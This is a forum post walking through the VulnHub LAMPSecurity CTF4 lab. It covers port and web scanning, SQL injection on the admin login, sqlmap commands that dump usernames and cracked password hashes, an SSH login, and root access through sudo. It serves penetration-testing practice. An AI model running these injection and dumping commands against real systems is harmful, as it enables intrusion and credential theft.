ToB企服应用市场:ToB评测及商务社交产业平台

标题: [vulnhub] LAMPSecurity: CTF4 [打印本页]

---

作者: 伤心客    时间: 2024-9-24 01:31
标题: [vulnhub] LAMPSecurity: CTF4

https://www.vulnhub.com/entry/lampsecurity-ctf4,83/

端口扫描主机发现

• 探测存活主机，138是靶机
  1. nmap -sP 192.168.75.0/24
  2. //                                    
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:13 CST
  4. Nmap scan report for 192.168.75.1
  5. Host is up (0.00062s latency).
  6. MAC Address: 00:50:56:C0:00:08 (VMware)
  7. Nmap scan report for 192.168.75.2
  8. Host is up (0.00046s latency).
  9. MAC Address: 00:50:56:FB:CA:45 (VMware)
  10. Nmap scan report for 192.168.75.138
  11. Host is up (0.00020s latency).
  12. MAC Address: 00:0C:29:46:5F:67 (VMware)
  13. Nmap scan report for 192.168.75.254
  14. Host is up (0.00027s latency).
  15. MAC Address: 00:50:56:F8:B3:1A (VMware)
  16. Nmap scan report for 192.168.75.131
  17. Host is up.

  复制代码
• 探测主机所有开放端口
  1. nmap -sT -min-rate 10000 -p- 192.168.75.138
  2. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:16 CST
  3. Nmap scan report for 192.168.75.138
  4. Host is up (0.00064s latency).
  5. Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach)
  6. PORT    STATE  SERVICE
  7. 22/tcp  open   ssh
  8. 25/tcp  open   smtp
  9. 80/tcp  open   http
  10. 631/tcp closed ipp
  11. MAC Address: 00:0C:29:46:5F:67 (VMware)

  复制代码
• 探测服务版本以及系统版本
  1. nmap -sT -sV -O -p22,80,25,631 192.168.75.138
  2. //
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:20 CST
  4. Nmap scan report for 192.168.75.138
  5. Host is up (0.00046s latency).
  7. PORT    STATE  SERVICE VERSION
  8. 22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
  9. 25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
  10. 80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
  11. 631/tcp closed ipp
  12. MAC Address: 00:0C:29:46:5F:67 (VMware)
  13. Device type: general purpose|remote management|terminal server|switch|proxy server|WAP
  14. Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (98%), Control4 embedded (96%), Lantronix embedded (96%), SNR embedded (95%), SonicWALL embedded (94%), Dell iDRAC 6 (94%)
  15. OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:lantronix:slc_8 cpe:/h:snr:snr-s2960 cpe:/o:sonicwall:aventail_ex-6000 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1
  16. Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (98%), Linux 2.6.13 - 2.6.32 (96%), Control4 HC-300 home controller (96%), Lantronix SLC 8 terminal server (Linux 2.6) (96%), SNR SNR-S2960 switch (95%), SonicWALL Aventail EX-6000 VPN appliance (94%), Linux 2.6.8 - 2.6.30 (94%), Linux 2.6.9 - 2.6.18 (94%), Dell iDRAC 6 remote access controller (Linux 2.6) (94%), Linux 2.6.22 - 2.6.23 (94%)
  17. No exact OS matches for host (test conditions non-ideal).
  18. Network Distance: 1 hop
  19. Service Info: Host: ctf4.sas.upenn.edu; OS: Unix

  复制代码
• 扫描漏洞
  1. nmap -script=vuln -p 22,80,25 192.168.75.138
  2. //
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:25 CST
  4. Pre-scan script results:
  5. | broadcast-avahi-dos:
  6. |   Discovered hosts:
  7. |     224.0.0.251
  8. |   After NULL UDP avahi packet DoS (CVE-2011-1002).
  9. |_  Hosts are all up (not vulnerable).
  10. // 扫描卡住不知道什么情况

  复制代码
  使用nikto扫描
  1. nikto -host 192.168.75.138 -port 22,80,25,631
  2. //
  3. - Nikto v2.5.0
  4. ---------------------------------------------------------------------------
  5. ---------------------------------------------------------------------------
  6. ---------------------------------------------------------------------------
  7. ---------------------------------------------------------------------------
  8. + Target IP:          192.168.75.138
  9. + Target Hostname:    192.168.75.138
  10. + Target Port:        80
  11. + Start Time:         2024-09-23 14:28:33 (GMT8)
  12. ---------------------------------------------------------------------------
  13. + Server: Apache/2.2.0 (Fedora)
  14. + /: Retrieved x-powered-by header: PHP/5.1.2.
  15. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
  16. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
  17. + /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 487720, size: 104, mtime: Wed Dec 10 07:39:44 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
  18. + /sql/: Directory indexing found.
  19. + /robots.txt: Entry '/sql/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
  20. + /robots.txt: Entry '/conf/' is returned a non-forbidden or redirect HTTP code (500). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
  21. + /robots.txt: Entry '/admin/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
  22. + /robots.txt: contains 5 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
  23. + Apache/2.2.0 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
  24. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
  25. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
  26. + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
  27. + /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995
  28. + /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
  29. + /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
  30. + /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
  31. + /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
  32. + /admin/: This might be interesting.
  33. + /pages/: Directory indexing found.
  34. + /pages/: This might be interesting.
  35. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
  36. + /mail/src/read_body.php: Cookie SQMSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
  37. + /mail/src/read_body.php: SquirrelMail found.
  38. + /icons/: Directory indexing found.
  39. + /images/: Directory indexing found.
  40. + /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1198
  41. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
  42. + /admin/login.php: Admin login page/section found.
  43. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
  44. + 9078 requests: 1 error(s) and 30 item(s) reported on remote host
  45. + End Time:           2024-09-23 14:29:18 (GMT8) (45 seconds)
  46. ---------------------------------------------------------------------------
  47. + 1 host(s) tested

  复制代码
  存在/robots.txt ，还发现了几个可能会有兴趣的目录
  优先级依然是80最大
  

web渗透

• 爆破目录
  1. dirsearch -u 192.168.75.138      
  2. //              
  3. [14:43:15] 301 -  315B  - /admin  ->  http://192.168.75.138/admin/         
  4. [14:43:15] 200 -    2KB - /admin/                                          
  5. [14:43:15] 200 -   51B  - /admin/admin.php                                 
  6. [14:43:16] 200 -    2KB - /admin/index.php                                 
  7. [14:43:16] 200 -  769B  - /admin/login.php                                 
  8. [14:43:27] 301 -  318B  - /calendar  ->  http://192.168.75.138/calendar/   
  9. [14:43:27] 403 -  289B  - /cgi-bin/                                         
  10. [14:43:29] 500 -  617B  - /conf                                             
  11. [14:43:29] 500 -  617B  - /conf/                                            
  12. [14:43:29] 500 -  617B  - /conf/catalina.properties
  13. [14:43:29] 500 -  617B  - /conf/catalina.policy
  14. [14:43:29] 500 -  617B  - /conf/context.xml
  15. [14:43:29] 500 -  617B  - /conf/logging.properties
  16. [14:43:29] 500 -  617B  - /conf/tomcat-users.xml
  17. [14:43:29] 500 -  617B  - /conf/web.xml
  18. [14:43:29] 500 -  617B  - /conf/Catalina                                    
  19. [14:43:29] 500 -  617B  - /conf/server.xml                                 
  20. [14:43:29] 500 -  617B  - /conf/tomcat8.conf
  21. [14:43:35] 403 -  287B  - /error/                                          
  22. [14:43:39] 301 -  316B  - /images  ->  http://192.168.75.138/images/        
  23. [14:43:39] 200 -  905B  - /images/
  24. [14:43:40] 301 -  313B  - /inc  ->  http://192.168.75.138/inc/              
  25. [14:43:40] 200 -    1KB - /inc/                                             
  26. [14:43:44] 301 -  314B  - /mail  ->  http://192.168.75.138/mail/            
  27. [14:43:44] 302 -    0B  - /mail/  ->  src/login.php                        
  28. [14:43:50] 301 -  315B  - /pages  ->  http://192.168.75.138/pages/         
  29. [14:43:50] 200 -    1KB - /pages/                                          
  30. [14:43:57] 401 -  480B  - /restricted                                       
  31. [14:43:57] 200 -  104B  - /robots.txt                                       
  32. [14:44:01] 301 -  313B  - /sql  ->  http://192.168.75.138/sql/              
  33. [14:44:02] 200 -  868B  - /sql/                                             
  34. [14:44:08] 301 -  315B  - /usage  ->  http://192.168.75.138/usage/                                             

  复制代码
• 访问感兴趣的目录
  
  
  
  • robots.txt
    1. User-agent: *
    2. Disallow: /mail/
    3. Disallow: /restricted/
    4. Disallow: /conf/
    5. Disallow: /sql/
    6. Disallow: /admin/

    复制代码
    扫描出来的目录，无意义了
    
  • http://192.168.75.138/mail/src/login.php  SquirreMail 的登陆页面
    
  • /sql/db.sql 存在一个敏感文件，是创建表的数据，对sql注入可能有帮助
    1. use ehks;
    2. create table user (user_id int not null auto_increment primary key, user_name varchar(20) not null, user_pass varchar(32) not null);
    3. create table blog (blog_id int primary key not null auto_increment, blog_title varchar(255), blog_body text, blog_date datetime not null);
    4. create table comment (comment_id int not null auto_increment primary key, comment_title varchar (50), comment_body text, comment_author varchar(50), comment_url varchar(50), comment_date datetime not null);

    复制代码
  • /restricted 进入了提示让你输入入账号密码
    
  • /admin 一个登陆界面，上面的sql文件应该是对应这个网站的
    
  
  
• 尝试sql注入/admin ，因为db.sql 把表布局爆出来了
  burp抓包来尝试sql注入
  1. username=admin'&password=1
  2. //
  3. Problem with query:
  4. select user_id from user where user_name='admin'' AND user_pass = md5('1')
  5. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 2

  复制代码
  直接把sql语句爆出来了，继续注入，可以使用sqlmap ，将抓出来的包内容复制出来保存为post，然后使用sqlmap注入
  1. //POST 内容
  2. POST /admin/index.php HTTP/1.1
  3. Host: 192.168.75.138
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
  6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  7. Accept-Encoding: gzip, deflate, br
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 34
  10. Origin: http://192.168.75.138
  11. Sec-GPC: 1
  12. Connection: keep-alive
  13. Referer: http://192.168.75.138/admin/
  14. Upgrade-Insecure-Requests: 1
  15. Priority: u=0, i
  17. username=*&password=1

  复制代码
  直接  sqlmap -r post -dbs 爆出数据库名是ehks
  因为index页面写着Professor Ehks Center for Data Studies ，所以我们把他数据dump出来
  爆出用户数据，密码没爆出来
  1. sqlmap -r post -D ehks -T user --dump
  2. //
  3. user_id        user_name        user_pass
  4. 1              dstevens       
  5. 2              achen       
  6. 3              pmoore       
  7. 4              jdurbin       
  8. 5              sorzek       
  9. 6              ghighland       

  复制代码
  单独dump 密码
  1. sqlmap -r post -D ehks -T user -C user_pass --dump
  2. //
  3. +--------------------------------------------------+
  4. | user_pass                                        |
  5. +--------------------------------------------------+
  6. | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
  7. | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
  8. | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
  9. | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
  10. | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
  11. | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
  12. +--------------------------------------------------+

  复制代码
• Blog后台和mail后台都可以登陆进去，寻找可使用点，甚至ssh
  
  
  
  • Blog找不到可使用点
    
  • mail 后台是SquirreMail1.4.17 ，存在远程代码执行漏洞，不过很麻烦先试试ssh
    
  • ssh登陆显示，版本太旧的原因
    1. ssh pmoore@192.168.75.138
    2. Unable to negotiate with 192.168.75.138 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

    复制代码
    指令修改为即可尝试登录
    1. ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc pmoore@192.168.75.138

    复制代码
    最后使用 dstevens 和ilike2surf 乐成登录得到shell
    
  
  

提权

• 查看当前shell权限
  1. [dstevens@ctf4 ~]$ whoami
  2. dstevens
  3. [dstevens@ctf4 ~]$ dpkg -l
  4. -bash: dpkg: command not found
  5. [dstevens@ctf4 ~]$ sudo -l
  6. Password:
  7. User dstevens may run the following commands on this host:
  8.     (ALL) ALL

  复制代码
  权限是超等高的，相称于root权限
  1. [dstevens@ctf4 ~]$ sudo -i
  2. [root@ctf4 ~]#

  复制代码
  得到root权限了
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

---

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)

Powered by Discuz! X3.4